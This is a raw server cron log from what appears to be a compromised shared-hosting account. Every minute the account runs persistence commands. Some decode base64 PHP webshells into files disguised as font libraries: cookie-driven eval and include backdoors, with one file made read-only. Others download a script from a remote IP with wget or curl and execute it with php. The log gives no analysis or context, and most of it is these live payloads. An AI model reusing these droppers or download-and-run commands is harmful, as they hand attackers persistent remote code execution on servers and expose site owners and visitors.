Sep 20 18:34:01 ip-184-168-122-23 CROND[1819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:34:01 ip-184-168-122-23 CROND[1820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:34:01 ip-184-168-122-23 CROND[1824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:34:01 ip-184-168-122-23 CROND[1827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2161]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:35:02 ip-184-168-122-23 CROND[2167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:35:02 ip-184-168-122-23 CROND[2172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:36:01 ip-184-168-122-23 CROND[2418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:36:01 ip-184-168-122-23 CROND[2420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:36:01 ip-184-168-122-23 CROND[2423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:36:01 ip-184-168-122-23 CROND[2421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:36:01 ip-184-168-122-23 CROND[2422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:37:01 ip-184-168-122-23 CROND[2660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:37:01 ip-184-168-122-23 CROND[2664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:37:01 ip-184-168-122-23 CROND[2662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:37:01 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:38:01 ip-184-168-122-23 CROND[2916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:38:01 ip-184-168-122-23 CROND[2915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:38:01 ip-184-168-122-23 CROND[2920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:38:01 ip-184-168-122-23 CROND[2923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:38:01 ip-184-168-122-23 CROND[2922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:39:01 ip-184-168-122-23 CROND[3200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:39:01 ip-184-168-122-23 CROND[3202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:39:01 ip-184-168-122-23 CROND[3203]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 18:39:01 ip-184-168-122-23 CROND[3204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:39:01 ip-184-168-122-23 CROND[3207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:40:01 ip-184-168-122-23 CROND[3493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:40:01 ip-184-168-122-23 CROND[3498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:41:01 ip-184-168-122-23 CROND[3777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:41:01 ip-184-168-122-23 CROND[3779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:41:01 ip-184-168-122-23 CROND[3781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:41:01 ip-184-168-122-23 CROND[3780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:42:02 ip-184-168-122-23 CROND[4096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:42:02 ip-184-168-122-23 CROND[4098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:42:02 ip-184-168-122-23 CROND[4097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:42:02 ip-184-168-122-23 CROND[4099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:42:02 ip-184-168-122-23 CROND[4101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:43:01 ip-184-168-122-23 CROND[4354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:43:01 ip-184-168-122-23 CROND[4356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:43:01 ip-184-168-122-23 CROND[4357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:43:01 ip-184-168-122-23 CROND[4358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:44:01 ip-184-168-122-23 CROND[4638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:44:01 ip-184-168-122-23 CROND[4639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:44:01 ip-184-168-122-23 CROND[4642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:44:01 ip-184-168-122-23 CROND[4641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:44:01 ip-184-168-122-23 CROND[4644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:45:01 ip-184-168-122-23 CROND[4876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:45:01 ip-184-168-122-23 CROND[4878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:45:01 ip-184-168-122-23 CROND[4879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:45:01 ip-184-168-122-23 CROND[4881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:45:01 ip-184-168-122-23 CROND[4880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:45:01 ip-184-168-122-23 CROND[4882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:46:01 ip-184-168-122-23 CROND[5145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:46:01 ip-184-168-122-23 CROND[5147]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 18:46:01 ip-184-168-122-23 CROND[5150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
